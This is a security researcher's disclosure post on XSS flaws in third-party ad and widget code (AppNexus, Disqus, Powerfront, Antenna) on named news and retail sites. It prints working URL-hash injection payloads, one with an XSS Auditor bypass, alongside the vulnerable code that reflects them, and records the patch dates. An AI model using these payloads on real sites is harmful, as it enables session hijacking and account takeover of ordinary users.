For most of us, the title of this post may not be very surprising. Any time we allow 3rd party scripts to run on our sites, we effectively relinquish control of the code that executes on the client. This is particularly important when integrating ad network scripts since they are inherently more dynamic than most other types of integrations, the cause of which is the ad industry’s general fragmented nature. For any given page view, an ad unit impression can be filled through an exchange of multiple networks, whose customers include multiple brands, all of whom are likely running multiple campaigns, resulting in a plethora of options for creatives that end up on the page (including tracking pixels) — that’s a lot of foreign code!
While investigating some malvertising campaigns being intermittently served on a site at work, I discovered a few XSS vulnerabilities in some of the otherwise normal ad code being included on our pages. I quickly reported these issues to our provider and had them corrected, but I became curious as to how common these problems might be across other ad networks and how that might affect the ad industry as a whole.
As I began inspecting the requests generated by the ad units on various sites, I noticed the full URL of the page I was browsing was being passed in both the requests and responses (presumably used as a referrer), usually ending up somewhere in the JavaScript context of the host’s page. Perhaps most interestingly, in almost all cases, that URL parameter included the host page’s fragment identifier (hash) value. Given that hash values are somewhat of a special case in URLs (they typically aren’t sent to the server), I decided to further analyze whether these values were being properly escaped when output to the page.
I started by visiting some popular sites with a simple XSS payload in the hash, for example:
http://nypost.com/#1'-alert(1)-'"-alert(1)-"
Again, note that the hash payload is never sent to nypost.com’s web server, yet it is picked up by its advertising provider client-side. As this value is sent through the various ad requests and the chosen creative code is returned, it becomes immediately evident as to whether the payload has been safely escaped.
Tracing the source of this code back, we can see the vulnerable ad was delivered by AppNexus:
document.write("<!-- Creative 38883110 served by Member 319 via AppNexus. -->");; document.write('<div lnttag="v;tv=view5-1;d=300x600;s=1647357;samp=1;vc=iab;url=http%3A%2F%2Fnypost.com%2F%231%27-alert%281%29-%27%22-alert%281%29-%22;cb=' + encodeURIComponent('http://nym1.ib.adnxs.com/vevent?e=wqT_3QKgCsAXBQAAAgDWAAUIv5S8tgUQ_NiM8ejxrrhiGJrzwN3CncaiOiABKi0JZmZmZmZmAkARBQgQZgJAGQAFAQjwPyEREgApEQmgMPaF7QI4vwJAvwJIAlCmnsUSWMGALWAAaJS0A3jxA4ABAYoBA1VTRJIFBvTsAZgBrAKgAdgEqAEAsAEAuAECwAEDyAEA0AEA2AEA4AEA6gHABWh0dHA6Ly9jbGljay1lYXN0LmFjdWl0eXBsYXRmb3JtLmNvbS9BZHNlcnZlci9sYW5kaW5nP2JjPTUxMDkzNCZwb3NpdGlvbj0xJmJhbm5lcmlkPTUyMDY3MSZjYW1wYWlnbmlkPTk0Nzk5Jm1hc3RlcmNhbXBhaWduaWQ9MjQzMzcmc2l6ZWlkPTE5JmV4aWQ9MiZhZGlkPTAmeHVpZD1mMTI5ODA2NGFlYmQ2NDU4MDNiMzEyZTU0MTFmY2VlYTlmMDc4YmRiJmFnZW50Y29kZT0wJmdlb2NvZGU9NDkmZ2Vvc3RyY29kZT0mc2l0ZWlkPTIwMDAwMTIwJmludmVudG9yeWlkPTI4MTIxMjUmcHViaWQ9MCZyZXFpZD0wNDNhODdhYmRhMWE3NTExNWFkNTY4N2MyMTQ4OWM0NzdlNTZmMzFjJmlwPTZjMzQ1YzZhJnRzPTE1MzE4YzAwMWFiJnRlc3Q9MCZyYz0xJmNudD1VUyZyZz1QQSZjdHk9UEhJTEFERUxQSElBJmVydD0wJmVyaWQ9JmFnPTcmZ25kPTImY2E9MCZjdnQ9MCZ1cT0wJnNnPTAmc2dzPSZ0dD0wNDNhODdhYmR-ogBIdWFvcz0xNiZ1YWI9MSZkZWFsaSFlHHB3PS0xJnBoAQYYaXN0PTE1MxW6HHBsPTAmdnJ0BQaYbD0xMiw5Miw5MyZ0b3BpY3M9MjA5MzMsMjA5MjgsMjA1MjgsOTk1ARAUNDIsOTkyAQoJGhwzNiwyMDIxMAEScDc3JmNobmxzPTE4LDEsMTImbGF0PTAuMCZsb25nBQlYc3c9MTkyMCZzaD0xMDgwJmR0PTEmaW4BhiBkZXZpZD0xJmxJh5BVcmw98AEAigI5dWYoJ2EnLCAzNzQxNiwgMTQ1NjQwOTE1MSk7ARsAcgEbGDg4ODMxMTA2HgDwbJICvQEhc3llZk13anc1TFFGRUthZXhSSVlBQ0RCZ0Mwd0FEZ0FRQVJJdndKUTlvWHRBbGdBWUpJRGFBQndBSGdBZ0FFR2lBRW1rQUVCbUFFQm9BRUJxQUVEc0FFQXVRRm1abVptWm1ZQ1FNRUIJDFRabUFrREpBU3RpXzUtR0NmWV8yUUVBCQEoRHdQLUFCX0prRzkNFDxtQUtLaG9pTURhQUNBTFVDBSgETDAJCDBBLi6aAiUheEFqeGJRNsAAdHdZQXRJQVFvaW9hSWpBMC7YAjfgAs37JeoCLGh0dGHzGG55cG9zdC5h4DgjMSctYWxlcnQoMSktJyIZDPBbIoADAIgDAZADAJgDAKADAaoDALADALgDAMADrALIAwDYA4sI4AMA6AMA-AMBgAQAkgQEL3R0apgEAKIEDTEwOC41Mi45Mi4xMDaoBOZNsgQICAAQABgAIAC4BAA.&s=ef649baa2907f01943fa02542fcd6db59b514dda&referrer=http%3A%2F%2Fnypost.com%2F%231%27-alert%281%29-%27%22-alert%281%29-%22') + '" style="display:none"><\/div><sc' + 'ript type="text/javascript" async="true" src="http://cdn.adnxs.com/v/s/33/trk.js"><\/scr' + 'ipt>'); try { document.write('<scr' + 'ipt>window.scrollTo=null;window.scroll=null;window.scrollBy=null;if(navigator.geolocation) navigator.geolocation.__proto__=null;</scr' + 'ipt>\r\n<!-- TAG START { player: \"Video-AcuityAds(IL)(VD)(DSP)(IA)-US - general_US_300*600 - Carousel\", owner: \"Ybrant Digital\", for: \"Ybrant Digital\" } -->\r\n<div class=\"vdb_player vdb_565ec775e4b092ebc9685ce853180f5de4b066208a63279a\" vdb_params=\"m.pub_id=606413&m.url=http://nypost.com/#1' - alert(1) - '"-alert(1)-"\">\r\n <scr' + 'ipt type=\"text/javascript\" src=\"//delivery.vidible.tv/jsonp/pid=565ec775e4b092ebc9685ce8/53180f5de4b066208a63279a.js?m.pub_id=606413&m.url=http://nypost.com/#1' - alert(1) - '"-alert(1)-"\"></scr' + 'ipt>\r\n</div>\r\n<!-- TAG END { date: 12/02/15 } -->'); document.write('<scr' + 'ipt src="http://cdn.adnxs.com/ib/async_usersync.js"></scr' + 'ipt>'); } finally {}
As you can see, the payload has broken out of the document.write
using single quotes, allowing arbitrary JavaScript code to be executed — twice!
Note that this problem is not in any way exclusive to nypost.com or AppNexus, rather it’s just one example of a vulnerability I’ve found to be present in a significant number of popular sites who are serving ads. Here is another example using the same payload:
http://www.telegraph.co.uk/#1='-alert(1)-'"-alert(1)-"
And the resulting alert box:
And here is the vulnerable code output:
dfpad.about = { 'version': '3.0.1', 'date': '2016-02-24', 'name': 'Creative.Wrapper.Foot' } dfpad.matched = { 'geo': 0, 'size': 0 } dfpad.target = { 'countries': ['UK', 'GB', 'IE'], 'sizes': ['468x60', '728x90', '940x250', '970x90', '970x250', '300x250', '300x600', '120x600', '160x600', '300x50', '320x50', '320x100'] } dfpad.tags = { 'moat': { 'active': 1, 'tag': '<scr' + 'ipt type="text/javascript" src="https://z.moatads.com/telegraphdfp799172313855/moatad.js#moatClientLevel1=43510734&moatClientLevel2=158823654&moatClientLevel3=364650534&moatClientLevel4=82260726654&moatClientSlicer1=5309094&moatClientSlicer2=5902494&zMoatPS=1&zMoatSZ=728x90&zMoatPT=index&zMoatST=' + dfpad.dfp.zone + '&zMoatVP=x"></scr' + 'ipt>' }, 'integral': { 'active': 1, 'tag': '<div id="ias984654808"><scr' + 'ipt type="text/javascript">(function(){var ias=document.createElement("script");ias.src="https://pixel.adsafeprotected.com/jload?anId=8747&campId=728x90&pubId=43510734&chanId=5902494&placementId=364650534&pubCreativeId=82260726654&pubOrderId=158823654&custom=index&custom2=1&custom3=x&vURL="+encodeURIComponent("http://www.telegraph.co.uk/#1=' - alert(1) - '"-alert(1)-"");document.getElementById("ias984654808").parentNode.appendChild(ias);})();</scr' + 'ipt></div>' }, 'meetrics': { 'active': 0, 'tag': '<scr' + 'ipt type="text/javascript" async="async" src="http://s368.meetrics.net/bb-mx/prime/mtrcs_639782.js?pjid=639782&site=5309094&place=5902494&cpid=158823654&cid=82260726654&adc=index&size=728x90"></scr' + 'ipt>' }, 'comscore': { 'active': 0, 'tag': '<scr' + 'ipt type="text/javascript" src="http://b.voicefive.com/c2/19915570/rs.js#c1=3&c3=19915570_vme&c4=728x90&c5=5309094_5902494&c6=&c10=1&c11=5309094&c12=&c13=728x90&c16=vmedfp&"></scr' + 'ipt>' } }
Again, you can see the payload breaks out of the JavaScript because the URL value is not properly escaped.
While I won’t list every single example here, I also identified similar vulnerabilities on:
- cbsnews.com
- nbcnews.com
- newyorktimes.com
- msn.com
- washingtonpost.com
- bbc.com
- And many more…
Although XSS on media sites may not seem very serious (aside from potentially compromising a backend CMS session), the problem becomes much more serious when it also affects top tier retailer sites like Walmart:
And the vulnerable code to blame:
(function() { document.write('<div id="adsatlas-1762541043" style="position:relative;width:300px;height:250px;overflow:hidden">'); document.write('<a href="http://nym1.ib.adnxs.com/click?fLzHe7zHE0AAAAAAAAASQAAAAAAAADxA16NwPQrXFUAAAAAAAAAYQEw4S8paaBl3tPO6DKa-zEWMWdNWAAAAAE_1GADLAQAAhgkAAAIAAACrn30C2D0EAAAAAQBVU0QAVVNEACwB-gCipQAALAMBAgUAAQAAAAAAyRyvjAAAAAA./cnd=!UAkOawjLvN0FEKu_9hMY2PsQIAAoioaUdA../referrer=http://www.walmart.com/ip/46519525?findingMethod=wpa&wpa_qs=US4qt28mt8KKR1irqfWUBODEZFU03QqU6B9iOEd_ZsU&tgtp=1&cmp=-1&pt=cp&adgrp=-1&plmt=1145x345_B-C-OG_TI_6-20_HL_MID&bkt=__bkt__&pgid=3944&adUid=5d7b0194-83bb-402a-adee-8424dbc4c13f&adiuuid=a513ea83-9610-40ed-bc0d-ba770d11d226&adpgm=hl&pltfm=desktop#3617' - alert(1) - '"-alert(1)-"/clickenc=https://ad.atdmt.com/c/go;p=11022203344964;as=0;a=11022203360911;crs=11022203360798;cr=11022203360812;i.ts=1456691598" target="_blank"><img border="0" src="https://cdn.atlassbx.com/FB/11022203360812/D_MBR_VAL_PRE_DTP_BAN_SamGalaxyGoPrime_300_250_X_01_X.jpg"/></a>'); document.write('</div>'); document.write('<script src=\"https://c.betrad.com/durly.js\?;ad_w=300;ad_h=250;coid=329;nid=63292;\"></script><script src=\"https://cdn.doubleverify.com/dvtp_src.js\?ctx=607671&cmp=11022203344946&sid=11182200774131&plc=11022203344964&num=&adid=&advid=11022200790603&adsrv=2®ion=30&btreg=11022203344964&btadsrv=atdmt&crt=11022203360911&crtname=&chnl=&unit=&pid=&uid=&dvtagver=6.1.src\" async></script><img src=\"https://secure-us.imrworldwide.com/cgi-bin/m\?ci=att-ca&at=view&rt=banner&st=image&ca=11022203344946&cr=11022203360911&pc=11022203344964&ce=11182200774130&pr=iag.sid,1000052&pr=iag.tfid,801&pr=iag.brn,11022203344946&pr=iag.cmpid,11022203344946&pr=iag.pageid,11022203344964&pr=iag.cte,11022203360911&pr=iag.stid,11182200774130&pr=iag.advid,11022200790603&r=1072143360\" style=\"position:absolute;z-index:-1;\"/>\n'); document.close(); })();
It wouldn’t be difficult for an attacker to leverage these vulnerable ads in order to hijack sessions, leading to a complete account takeover.
Chrome Extension
I put together a quick Chrome Extension to automate testing for the hash payload above, optionally collecting the results with the intention of making them publicly available in the future. You can install it from here.
Additional 3rd-party Vulnerabilities
During the course of this research, I also identified several similar vulnerabilities in 3rd-party components used by large publishers and e-commerce sites. Being that these individual vulnerabilities pointed to specific vendors, they were much easier to report (and have patched) as opposed to the vulnerabilities above.
Disqus
One such vulnerable component was the Disqus embedded advertising code, again found on many top tier sites. Here is an example of vulnerable Disqus code delivered on abcnews.go.com:
I reported this issue to Disqus on 2016-01-25 and confirmed it was patched on 2016-01-27.
Powerfront
In another interesting case, I identified a DOM XSS vulnerability in a “Live Chat” customer engagement component offered by Powerfront using a very similar hash payload:
http://www.roomstogo.com/#3617'><script>alert(1)</script>
And here’s an example of the resulting page:
Note that other popular retailers were also affected by this vulnerability, including staples.com and toysrus.com.au. This was also very quickly patched by the vendor — I reported it on 2016-02-10 and confirmed it was patched by 2016-02-12.
Antenna
I also identified a similar DOM XSS vulnerability in the mobile content engagement component developed by Antenna. This one required a slightly different payload in order to bypass Chrome’s XSS Auditor:
http://perezhilton.com/#3617"></iframe><script/src=data:,alert(1)//%2b'
This produced the following markup after Antenna’s initialization:
Note that the iframe element is successfully closed and the script block is appended to the page. Again, this vulnerability affected all sites using the component. Antenna’s team seemed to understand this and took it very seriously — they ended up patching it about two hours after I reported it on 2016-02-29.
Disclosure
As I mentioned above, aside from the few components whose individual vendors were responsible, reporting these widespread vulnerabilities in an industry so fragmented becomes quite difficult. Not only is the problem so far-reaching that no one ad network is to blame, but tracking down the responsible party for each vulnerability is simply an unfeasible task. This is further complicated by the fact that a user can be served a variety of ad units depending on many factors including geolocation, browsing history, inferred user attributes (age, sex, etc.), device (mobile/desktop/tablet), and other data. This means, in some cases, vulnerable ads may not be served on every request on any given site, making it challenging to reliably test a site’s susceptibility to attack.
Mitigation is also somewhat difficult, at least from the publisher’s perspective. Sandboxing ad code into iframes sourced to separate domains sounds like a good option, but this probably violates many ad provider policies (see AdSense, for instance). Content Security Policies probably aren’t viable either due to the number of domains that can be involved in any given impression. In the end, it seems the only remaining option is for publishers to pressure their ad providers to fix these issues — or switch to one who has.
This industry-wide problem serves as a great example of how 3rd-party components can compromise the security of an otherwise secure site. Despite best efforts to secure web applications, a great trust is placed in 3rd-parties whose code is integrated into them. And to regular users, this probably seems like yet another reason to run an Ad Blocker.
UPDATE: After communicating with AppNexus, it appears they have patched this issue as of 2016-03-05.
Share this:

